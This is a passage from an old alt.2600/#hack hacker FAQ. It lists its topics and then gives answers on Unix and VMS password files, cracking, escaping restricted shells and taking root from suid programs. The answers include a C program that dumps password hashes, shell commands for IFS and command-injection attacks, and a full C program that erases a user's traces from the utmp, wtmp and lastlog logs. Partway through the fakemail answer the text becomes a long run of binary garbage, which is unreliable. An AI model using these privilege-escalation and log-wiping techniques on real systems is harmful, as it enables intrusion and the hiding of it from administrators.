Editors Note: Welcome to Beta .008 of the alt.2600/#hack FAQ! The FAQ suffered from a floppy disk crash. I believe I have corrected all errors resulting from the crash. If you find any that I missed, please e-mail me. This edition of the FAQ is dedicated to Taran King, who has put in many long hours keeping the HTML version of this document up to date. If you have a questions regarding any of the topics covered in the FAQ, please direct it to alt.2600 or #hack. Please do not e-mail me with them, I'm getting swamped. If your copy of the #hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ. Thanks go out to Boris Ginsburgs for his work in spell checking the FAQ! ** BETA ** Beta Revision .008 alt.2600/#Hack F.A.Q. by Voyager will@gnu.ai.mit.edu Sysop of Hacker's Haven (303)343-4053 With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Major, Presence, Rogue Agent, sbin, Taran King, Tomes and TheSaint. We work in the dark We do what we can We give what we have Our doubt is our passion, and our passion is our task The rest is the madness of art. -- Henry James Section A: Computers 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. What is password shadowing? N 04. Where can I find the password file if it's shadowed? 05. What is NIS/yp? N 06. What are those weird characters after the comma in my passwd file? 07. How do I access the password file under VMS? 08. How do I crack VMS passwords? 09. How do I break out of a restricted shell? 10. How do I gain root from a suid script or program? 11. How do I erase my presence from the system logs? 12. How do I send fakemail? 13. How do I fake posts to UseNet? 14. How do I hack ChanOp on IRC? 15. How do I modify the IRC client to hide my real username? 16. How to I change to directories with strange characters in them? U 17. What is ethernet sniffing? 18. What is an Internet Outdial? 19. What are some Internet Outdials? U 20. What is this system? U 21. What are the default accounts for XXX ? U 22. What port is XXX on? 23. What is a trojan/worm/virus/logic bomb? 24. How can I protect myself from virii and such? 25. What is Cryptoxxxxxxx? 26. What is PGP? 27. What is Tempest? 28. What is an anonymous remailer? 29. What are the addresses of some anonymous remailers? 30. How do I defeat copy protection? Section B: Telephony 01. What is a Red Box? 02. How do I build a Red Box? U 03. Where can I get a 6.5536Mhz crystal? 04. Which payphones will a Red Box work on? 05. What is a Blue Box? 06. Do Blue Boxes still work? 07. What is a Black Box? 08. What do all the colored boxes do? N 09. What is an ANAC number? U 10. What is the ANAC number for my area? 11. What is a ringback number? 12. What is the ringback number for my area? 13. What is a loop? 14. What is a loop in my area? U 15. What is a CNA number? 16. What is the telephone company CNA number for my area? N 17. What are some numbers that always ring busy? N 18. What are some numbers that temporarily disconnect phone service? 19. What is scanning? 20. Is scanning illegal? U 21. Where can I purchase a lineman's handset? 22. What are the DTMF frequencies? N 23. What are all of the * codes? N 24. What frequencies do cordless phones operate on? Section C: Resources U 01. What are some ftp sites of interest to hackers? U 02. What are some newsgroups of interest to hackers? 03. What are some telnet sites of interest to hackers? 04. What are some gopher sites of interest to hackers? U 05. What are some World wide Web (WWW) sites of interest to hackers? 06. What are some IRC channels of interest to hackers? U 07. What are some BBS's of interest to hackers? 08. What books are available on this subject? 09. What are some mailing lists of interest to hackers? U 10. What are some print magazines of interest to hackers? 11. What are some organizations of interest to hackers? N 12. Where can I purchase a magnetic stripe encoder/decoder? Section D: 2600 01. What is alt.2600? 02. What does "2600" mean? 03. Are there on-line versions of 2600 available? 04. I can't find 2600 at any bookstores. What can I do? U 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section E: Miscellaneous U 01. What does XXX stand for? 02. How do I determine if I have a valid credit card number? 03. Where can I get a copy of the #hack FAQ? N 04. What are the ethics of hacking? U == Updated since last release of the #hack FAQ N == New since last release of the #hack FAQ Section A: Computers ~~~~~~~~~~~~~~~~~~~~ 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 04. Where can I find the password file if it's shadowed? Unix Path Token ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 0.99 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * 06. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" 05. What are those weird characters after the comma in my passwd file? The characters are password aging data. Password aging forces the user to change passwords after a System Administrator specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it. ] ] Sample entry from /etc/passwd with password aging installed: ] ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism. ] ] Password aging characters from above example: ] ] M.z8 ] The four characters are interpreted as follows: 1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970. Three special cases should be noted: If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password. It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password. Password Aging Codes +---------------------------------------------------------------------- --+ | | | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: w x y z | | Number: 60 61 62 63 | | | +---------------------------------------------------------------------- --+ 07. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 08. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 09. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 10. How do I gain root from a suid script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input to the program. Invoke the name of the program and a separate command on the same command line. Example: suidprog ; id 11. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 12. How do I send fakemail? Telnet to port 25 of the machine yTiWlBޤi p*TlDbIAڦ?療"b=Cnjфj䠲Lc "~+j 0zx$8 ޷Gơ=Қ{BfLW P .V)?EXGIٿ; b2ws;Q?(N2 !$7k^extx>#?>=<h >wYs0FI&Ҁ#iMn+nI9z:C!DY'V30W,> 'Y CtW@: bpu8nPڢ`OW-UWUP-ɥ(JD#k|J5^CsfYc[G lv(lP?+]t_ ﭞyzQ,zixi^pJ-9QAe!WR& iH<9(eݸ'rRpS)hg #K#|-BM\]SdhM5;#;?[w׿Tzf Olo-=}@D],C2n[=˭?߈n7OCG ݭ;Q^f X IX-LYyj R#Ko ")`P=xq.Eq_;";n5 rRrVoVKb֍-A<+o ʅDDkWLfH(!i&vx|{2 R}eETWd Filj`9jKӂP`δXVhS#'TfTu6BPMJ""I >oen &̀rGUxKia=wETtjŠ@oO`)s]=l 5a3ӥ6瘂 ﵧAKHH3zqNvro٪S4(܈t&Mshs++I>?TFaf͢4MtJmV#D"BAAcwYğ }'"# QA6KUsv2T庰V9/C[;ddj[ot35ݞ'61WU5Z*ȷ*8jEgGm:4F8JI6M(;icԌru.z A/~ 9iU&d,s)4}g6{MwV(Im()XL+ twF(t˥:>J5+ể_IsoM4_/˔sה:%)P,X=RB6kP"S+4 r ҵ`e\" Oɿr6} ̾Ok/}yAR(9>JiB ~.@D8,cbõS7ցbpT4$mb-FQ* 2 3Nхu;C<2儚fDQY>^FPw6kOkCڠ_AsLBцr :O͙P*gCχ[{;w㿟?KO6u8ʠ:sƗn :[_*W1y…W+B8.A:`Fqb,imQgݼ>zQ}df\Zzj)zY6+g' Bu'ç[U qA*.+5q0 g$aƪQk?~he{YҌېRnY dGuQ Pc!;) 4Pi3.`^H0Go?1P܏;̹9CT6MI i:ET%LBIIdc'cQ" "=[Iޝ@KVqj1tS"4_x)jރG.504"vsU8Dx /%@8#DP$0[-՗)`g Oo 0Yo\C C/Q.~9.yZ˃$@w6?MxǏvD4c5I}q*<HJ{CpJP۟q7h4JDJ`V6}9xKXI5S]0ڝjjT|sV[Yg(L@qqv`UmhȊbYĜOwIxV ^z+PasY-&SDऻSj~&n}FA|VUdPx+)%8u*)-Dl`~G*~,l9l@c%Ggku1x:*氈ۙ5]~zM[c?5sbrC4{QFg]e[OnQu(^鳭ݐ'Zu|}xsx;FX뜣sef7xӔGO_Z<-2TEU Q8Ң 4E#/zzl7#(}YPT’G-?Ŗ-6/PDZכ3d‘MB(^*Jò$-*M >G@b׌Z xGC |.uQZ^xiSR+[A[܂e&)i?'RWCt{@mJK*»#z {2UI)5v\mXSaqRj;U+0صe"#,=n|n^>ߙrj>^}B+'U1G- [h@SMLM*:!)G6 JCڶ:p؟ ?/}?xFCk睕NQ~IzԧOaY#^-?Ou(҆{B[?ݐlo'[nEi3 듋7}͑-ڠaLǦG[hpA!@pi6:F,:z"= 淿z`tu0MJHxGa(Ăw (2)4ŵ «sPMr3'b՛up]FӴO#v6E:W 2IDiUfKI֖ڞdA3-Hdj&iP)!m|1b=O =;iKھ^HFzR+b} wvcT @E8aQ𶛭;- T{~Vl m.XMj̫s( t"%gdt& <+] 湧*\-߻woodӑYȵXrs&XP=xXw,pH`o,ߨ4$Q$Um  eLN XfפZP "efB+=[})ȶT*B;7%>JPNB-V%\@Wf0d䈗 )}K ypjKp`A<g %@2p 3Ç0{VxVKpQ WBjha+mnMF7V3ܺ2RG@kB2,4$i5dU= SҥͲ* ׈h^8򂀨}HÛ9Q>9!z}c*Teb Ԡ_ܩ9S(+Ӈ: 4>Wx7<-1`A&W.C[znqD$hZIqEv6{wB<ж \X2:IJ`0{o|` ӊru ,SVWUQ͕#d+#p 4Q&1J~ p=j""P#mKL]N7#Gͬ1 #g $OP\k"^7@쒋ӓ꠿7S -c-zᩰ_ФJ-:3 sU."Ʉ]O=!=l:B1|]KOz|U]"!*Rq"+Nz(y9 HLn4x23 1) ܔkmb 2 +%ƕ 9c\hoi[ȈBXr ;4J1|#zdF*EDs%Å  ȶŇG'0<%)yR0-G65d5S`C40g6M>SWY1]7$iyAQo͝@ C>qM&*>@qVX\It^rg<%9ԪPW(# p.~FhxKL ѹZL-$Ctrlk7o\_.Pplag:ŸSN'IogA솏i9ؽ}2,? It"V$zy@7y#q#vS E!5j{'3obRtߎWʻ7ޑ= W_'=ң k%_@G_@"5ڳ85M&S4|5zj+3@>E4Ns{et⃳36R,u55f5iOa6<]Z4׾͗]pnǧ>' P[]^?5m(w`oϿ %~:sV O`OifCP@<7b%,)Z{:NQm9=-.N*h[eăb'_qEaC]D*:(wPnƁ*8KD~44ФzPŮ&&(*rfQI~md64U@!iZ8#%t&I4hR& {Ae4JcD$$2ZNC,oHԲP%8Τ˪МQ,j պ Hv!4մ!EZfR[TSS5R lJq\ge{Fr 16EE])P?*2quPءfNZM+xQ PWyCba(FU>V,?`=^wIv3Ƣ|ij%M]SY?vE+R>ȏ<|w 36ޙ8&3YX.ڽ?=EQtp4ܾ*9Ŝ+`ju/AnR{ʙ`ʁ] 7pM;}|6>jF$|)k~d[4YCg(Ȃ6DBK,X# ϔںdKu,NWJ@zZb3iCDh %cuF6Y,[l!]P~oP"$8"1&e}%nP&w)Zb\nf ZLk3jN IZb莾bZ?Q^{6A|e\t6dJg*J ω 됋|C<0_l#|.X-X'fmeBpzv$],z0u{1 3|i`jeVT T}gR-hV/|1:ej/~G0s+63օ>+6;S-=фޤNƥ."Ʊ׳HEbl sz7J=a 2-'&khb$;kPgLvI=R6,IAF1h,&8cY)gcɃ{'⦈*$Kś3l9I*OUcTҶ+UO#BM jޏ §)#|ei;?̳6YU)^,O,, t6E"lӕn 6hoyHâD||I]N+&Զm/%}sFZNsR]LFelxl(WLP2"! q*<Ȥ- -MK5ӆ;<ϺuHF<"W7w~Oo^ūzۓ7oś-W7u馻{( MsU&36{]ᣭ^|8l8HS&ؤN}R&IըOful'|=SqE5F7Ѹj5-Y6#1nd8-6]\0|wFЧIᕞpۑv-epi55 I퐶Œӡr@-2 SkZĒJf7d7-LAH2Zغ;UP1(dEVNقhk8KS &2'|[0WwΠ)wl@5t=޹d,߮Bg5RgPɿߤa'>Jn=yr0S.~4p"{-k-d1NHr`*JT*@`ԢH/°IZM%Ă.΁Oolivu1z0z`Sp R3&\iiX.%;x8,޵F(-/kߧW> i11uKVUQȜpzcT|ԢLS|u,3QIwgg([S~^FIZ`` e#NAIQ4^VMKTH- 7:ld{6m)\nAihhi=ҷIS'r@!}jc\@|@Gy.Z=Z3(6M>mЎ1:|QtEkPhN^ZJgp{sm 㛏;ۭ϶{92 -CL!_o֭߮o?g}خ_$n=:(S 36C:kTAgjbBE?(<{TO/'w.2v%[;IU?$Dմ"4|jG'NJφtd{<:8eUCLj7#O׌F#B(CI. '"Dӊ%/ UmVSZ4@TYm:\Lnm;LTHky5(/ڨ*ۋE)X#DFc[)ي]XȗV 0$)_0q8D5K ٕ0a:XE ѳKۆ `R+4x@)hF c "*" gѨ *{m6S+= mV-a΢:1K?9y.OH% ~3Qbֱ܎l[/P8Ʋ?LP3XN]^R yW"ŸB?l v{g+iFTʹQ΀С$|*x28da@aqDbX9 Oѩ~Ӽ5MxjJwc"^X9Y4D>*aztW78#^V:x9Mqƃ $㫤ؘkD|#iz()i^Ka?{,oRY3:JfR(*=ܵca`%*9-I젡~st﫷=vݢ̨Y ,(у 1S5% EH.;d[3,+HӤ.N!zW?_ݩ'O==ٽyp>.Yv#"WEF،)ړh'8ʅ_`w76#BᐫBI%esp! ګDZ40[Gb):m{wOj. twDJk3UkO_т#515eC$S)r"4мk~=LsG! ᒱ.$8V[߳cWYd|ѥ+ 6AAw?\֡^<ڎsݎtCBc{kk](OjD`季M3@GʡDSWr !#Հ1u?32 Z9CyF̴cTUmtr,t@#UN@.y\(Im *hfsx\,:(;B)NAHP:]T]Y2YrD(0"ψj'x60H!R(/>ۊػf&Dr@(-c:Rttv8Q[+S{[!KyҾP9LQ0$+H{K^6k$s})L5?ȸxEN錚=rvTث@#YT&zF:DNAƒ  -K-+f\(h.U0.Taf\i'&G|l|CԥNsѨOECsT2](3{׌赝p U0士4e. ^mgmM3$['4 ,UbHt=47ql_e>K#^l`F ՚iitO{i_=gĉqvv4ӯYZpa3\ fꪐdlJ(+&D8ehVy.`& LGaa.p&C*(npq ycϦjRy(cEj@ "RL9絅@3Ζ٨LcT4Z>G2H6_-|y4DkGL`u"M`L8ati9SHh1ϣųX&᝴ʥ]+AG1ґQ 45-8ִxWh/S!X:O"p4'²G zшԕɂS%vl(4Z[ʼn cU sݹ<1*҆ n.s̈\*y<W#:󚮴4Ν! M䢨SX'CΑ`aޖj+dк7]|(tyѠ{8G" ofd'\XN ͌T`{* iq&iZ@%HpJW԰+ J4jkr<xw.YHBRjv)%v0e4'ÀZWC1$,÷?94e9KԬ;r! OƷdJ3YHTPk";Kd@Zզ0iP2Gb# -M9K޷McP _[S+Gϥ3ªcl3LȌV+i= Y9 ceF(Uij]=M-I "4 \|ZRIi.= vJERS \me&U,oibl%}/p)/3R.4u &, 2yR##EYwޜ%xҢcd`Lc LsA0œҶ쪛WV^kT@d&G2.B4FSi=C3uȥdh'"l7;i{(3: Av cGC5V ORI"uڪn*Pi*8fFө* i?.kx3qI3㿘J1"!]tʣu7ծ'#{FqK^(/8_otY'kI/hxQ0K*]hgU3R‹2,9ӊJuiܐ/?"_LkBJ&o8_ld5whu!\)"%'#[0f^{BBRytw|n`e^9j}^HV`Y` hb#sJ^ u3MPY3T\X ҠEs5Wv1ow$jFv Nr^Xģ K:N`&Qj9{TKjbDrS.UHD_GHfYy4I:3WJPi2Yٺo&uf=:GRa򣧀fAG0mFQP̜Ixb}lpCh"ܬrֺ U2"Jiu4rk!ka#^?@^y*,F\&膈I^WJ#".77P*'G ~KՎۀ*+䤆t1t8D:9'J@zLѶY}֢[&{wdb"WRp8al.ݞITb22*Y N2 E 41:4\rӊcKxmTp+3)H 8N P\*Ki2> "uٜ\44:dʃnf'njKF L){ɺ !$f[**d &SidX`}i N-vHQ3FdEDCku^  UW aPk@flQQcz3ɱI>">"vA:^rJ$D 9LچJ16L:.V/I/mW#:G֣i6gLѕx`l'\P#J/N2 ?c>9}MΜkT yR{IZehD"PoUJ,*oCD-b bȌFB"iTcHC 6afaTr@c}[m!R5R ELR(NJ\#VZz| a&(Rqqb!)1 M  +:ViAerӹ5^KP[.2Vj2%<XYJUHv*z$47e2͜]g,}26RE(f+2 =` g([O4 j%*› #Y5C1,,En N+ #r$oQ4=F '~X5΅|[ޚO5 @EvUڦI_+Foz}1ymJǬ?Ymp\P6?n ۻ;4B_1ujdlFZf]ViEM%d}}}gkV_ @O߽sY Oo<|E/L@Sa*SiʱRY=;8;FV=I*q"ᤇu <=ºfO]IM7gsӊSёӡ)U:98~yQeX5pX6H(YU#\a(GskDSk7:CY;E8AH$ r4–@!cp~qO}nąb_o1{#xϲ=p{]Ⱦm4Tw5Us-u)>5%1rL3Yj{c*DPCP%P*SS"c$cMnXqN]dtԺNf(wB1j hĔYHgi``GY':45ЌI]>V]*3"Yx"EG3 JŴQM>x3xKf݉лTTZtBTU!@  RmFDXxR;gSa{p !n#@M̺SsGM ȵ(6ܚ?dh(dwl#cX?U%BU?/6!6oocw~S!*4wƿ?ߠFosΪ_`,ֿghޞoD<7]Z ^G1ΔLMx y3ˉ#8^fAٴ AA%H5Rc=X2& A'f[,^,/֑҆ʊA [&[bB?j'r#x ]2Ł ʔV q&E&^XȧʕᤃHs_ЁΈkpFuAhIf9 +͌[.%IƔ/(,NTG)pg4)+ a(;dW@1ܨt͙+jx)h]sEZUWJki`:T-JBSC(EwjP*ZiTJ2frLgx@-9l]QzLpSڀ`~G:>Cj%z 1M2bn* 9X`Hi!.LhtW9jbc01nLIt!J1,xvq\1 {k U`Fz3pY3] F"dKG0`ma✒h9%R[e8UVW @: ^vJpBP`pۄm)"LXաT @Gm$zp\CVxO)Csbt[l5NS|GF(֥BMbC G|悿6@m-"[0bLݙ?LJ绀B슠Uv0>MMH* ph0J?EjtRuyFFiRO`'BB=Ƶ压4wOE8XRPJ ,+1vJ P%,u ]=74}Ep @+[ll$q [$yWR@Ljq)[E7uNi~1Ҫt`17;zk12%N#q%MQq !G80ʌ(b] ZӜRQV5'*X 춳w|UQ j"x^ 盠ZBiҲYҹqGq\Vxn(̞ؿ6խLAB21OC5E8Y [#jBP͌6LD|KSJ ~DSSjC|c /w׿{]QZJL^7usg[[:ZۛϷP(} SL^[9|o(ux3kQ 2vm(P)3͈P֖\{95Ie)؞!Qj^IdbI:sI(HLhV!e^wx ;!˰aBa2AjfT"APY^!N EB\톀.|v.rH",7Y9A9.0<,? o>~svABM'fED\M|kS |+~!vOGTq\<#Rw}m+)t퓶_e֊)SRl d ߕFG*A @he2N]&n$&[ r7P-Tx4|]fy۳ B )V+m0pn>[~G!ŵL"R R.׬tR4YT: @O5 wuq /:(5(ao7ef &)pb_0_KKޢ \D%ѧOu' _Y)X\}F%t>VK܀JI,) )<^^^^]~_hAIw79(xh'.Ǝ%!5]vƾ运??׿|+jXi%]8nIUp+EJj w b6báCYj? d>D a1CFV-k+D"R5ZS9XDyD܅s<;DjTy q 6rSJX)aɍ[5}t _HDMp _!cMZ劷죍33!̃-3F͛!65?xք7t!\< nF1O bl-;m /vÂN%ry-L,D02ŕ qe>`B5uCCI"Ү.8P) n3\()fDK蕲Go x1,$S:Z8'TD]KC}ԙxa*B RY M­XjEnAWʧȮIZQW%fsxck D:A1re 95'bJ=mlQ!O j6Ä̖I*P?!fr1X)B9a Q,1 =fe$b*GA4pTh =j/BrR@+bMTZ{4Mp8].ĎadFݵn,~R[=5:5#T>` Aa<{2)gOA*t+Nxu/N#F3x_̉?|Aow~N=S< <ԫkyimmVz_4%g߿WJLRiB#2z#j?0TF}VX)*CJD ?8g65.V6( 4PPQh{yLqKd/B`"  IWRVdk 1Xfv{!=1$k!$IcOVR:IDEJ)7ǿm_=htvpzLzsљ;ٟ;4ߙ?/ͧܨ{ -qr1>DL.be=vU( |Bl%k-i+QT*>R)4̩)r᤽p_={2b9 GcXǦTI8Ĕ1x]d$tLTHgxC< ` Srp^%iР"d,$6e3 teμ8vk+1Yg4ph\PjNar]bUz9)QPW [6 O9b!=kA>Gs:ǿʺ/(hYmufe oꟻY-v..?V۝]9j[~vӺ~4*ϴ%g]v&'3hӍ2:V>mW.*N ՜ DΘCm=Pzy?= w26plYYЄ+i.x2~^JP cm.2IR/kO}@. &7&h=4qH5אEhn32e*k">nR@mső$D7~'OHw:.3 oS+e] O#%Z]ÿX)ĦHl-K˷Oïc3QE*lvʚ_[UBNWY3d~8Л2My?s_ow?u*!lys|Ds)4?zlܶmNsblо=˟XFb,|XR[ =t#҇qtՈVPU16{tm]GZb.64jaΜ3[ֿ={Y}#ZI핟I"Ƭ= {G1 ymn>#3Sʔ 1E+1~sI3Nf.C2TTVlDs]^Zf;"xpJA$kj7 ˄;4Fxda~9>8YWJ3+m->A1%1Bk/Yz׹ȱѰ6۰GWJg(aav}԰C ?z`ca͂Pђj<467&sKa W¹6*k/@.GP1Z:#h(oRL5HVڦZ,ƾ{)a!+V-ꑡi'iR'-S`= 7{Z=Ӱ:.GBJ>Nŕ6$=:"-^R8ye?8J(>唜 HPlGƦ2 {&eP ;"LXsvE0Dm\{^b T9f~hかp>Rb'0L="UfVPd{JsOonuD)yJ?,f#(,B7;cYF ,7G+4e)Ps^烢 1m)lǧHа5Ռ(7FN h3G7Qe&2]=Li.b  GD)MD |--u}h"KLGn@JS7\{%+g jYXs L(8*bQe){"uI$WHw1v-& 1EeXj :H@v^!U`lt7ׁ?aXAJhIXo/NYՄek;>vv6{ϟg6voϟ%7k5jx4ZAz>x/30ꥥػ/"7K?7a!3YT0ݣϾ7dw"܌< /wiPmmlnv7Sw}{}==8p LGuk= ]^f\K:S"4!Mu1+fKZ}wTih̊V&# &4>4Dh2fB.PW ,HkJ2Bbdw[[?T9ZNۄߑC&tno?/;?|V;D|wTBz}Z_n< DV#gU;鿕5Tb)KjKļ='Mƒ Ì77UN^g?6~IKDйUߝRHAܱsTmgzKϏTK?RM ":w_ͼC%4m2h oGao$$ pU`jboVf;/iTkirkM،N6 aX ^+kTZX0p ոau&B3i 8}FN){8XOՕ/k8i$ 5F)u8 ᷾nwE@_f9cu-C|ht! h;^?oϞSQ( :ManNk"Τ-boY(|M+_gU\XynWEG!a01ٵ֢E1,Fj/mA΍#Q0N8ָHᲯRr@93^d#~Gj>d ތrAL%:2m\bP$-E+e--"m,qlMDw+檚n"eQ--LALp9RGJ=&P)P{:tR!H] О{`r}C?wz;Ծ&ずsݽmg{O>שCS+2BVi.2iCEYnEF:,G8HSc3Ho3QPXnM (ݬ E M?`_ }YP)T|}ҺnIU"ETb僑1dQ(I\N\wh&N}1pʵwit _v??r'DrlHHE2CUSoH"؈>-_`Aw(rWe}D?ݟv?xZRd^3N,on$}7o?n_'>~?o [Ho43)aw*y&}r^wxp3\X&cjSی0}BԄCh\OIR &NGW9|8 *c1Q1+0'V C. bx^2 sW z`c%:֜"+,?㻖!PݨxTpPډ[j7Xw?E8/zG׹K ~z9eO.~}zcP O( @h}?HB`04rZZ'6"3^x=vmeǯcu8K%5D '"OKA .Q~fx/}zB+ߎ5`S y ;Mj^VԖB؃y[ hP2r!gɯIU0^LFDR:42%ܞkYR}- tG^}Ϳsٚ߶v7yP"=?ߓ?wvO++Cawwݕա+4Ir,ܥ.6l)c0f&d_AcJcg4j.B/S!UN(VdIEOYB4 L^"+W`&AM`^U;OH~/ 4@NC؎E> --r~*mp(LiBgf^xs-cL2jE3TRf~[Pto{ x!M&2Pr`XJ{/l5"Ea1bnp!]\%%vހamZ0OXRhd2Oyb~XO~V2|!_{Qo>i?hQo=@?/"B~D2۲1uUHceT^IT׀xt? 9;>W,SC@QJ΢$\XVK̖  Y%#Q, 0xH /z2y|][kj_Fg$kf#rR7pU d "Mk#3"v5寥Um1x/IH k#q-nN.L15⹮rJ–2-8Cbypb%AH@Z<{lۻ]>1#-M#e%uQ̬MЎj7/F\:5Ƃ'ˁ)mVMa TeS|1l_ v7'W-6_Dr>|#[/|jphxc LyrJNT{'\5+nb;UJo]+3?/=q?9.{h"W讽 #I0#O k@?~  OTзL=WH>];x!Fg.=ŽF):и*m/ :+Ǘ)/`FmI?\(_=lI4;pw ڐ2ep 'muq(6L+#+:UOCDuX6r!B%߱XtT*E#H;[[%KvpURƟR %D%<ѣ;sD]j(o2 ITRYbw¼.!@MjsW:$&+4Z':,kV e/3'BG^1 N{ q'kArr<- ̽Sh$Əq?OX8w#UB"90PKN**,ieTؙZap,h[uI6$⸶3v2)m{D[BzX0AY-EnuhpuDڛ^д!g$=PX̗v#P9!$C=HmBx,]'!_BG(KXn WhKNqEʥbp 6TWCp} !gC =`)ic&I=όyL:$iB4$\#R 5wGp'E2x}Nݠ#-;O}_%ukQK]TU 1KQ8ND[|DYI.rLt`ifݴX5fkY-jU}sV]t,ك]@6kh^%(2c' \g\ 0HKwӦ\\(e1v$5 b*Ք| )@[6qRT9_I* z#"dHfёR ]yGɃIk15_߬vKG\GX34*;Ocf 8Īn"<6,gd,;iLZ9F*Z6YF?UٝF{]U M.슆BR)b*B]F^ӒjQq&c:7p9? ^m-d&ce&t﷋?sN\l g˗-&>~$7ӊJë~]'*`+~teg=:T*,lm 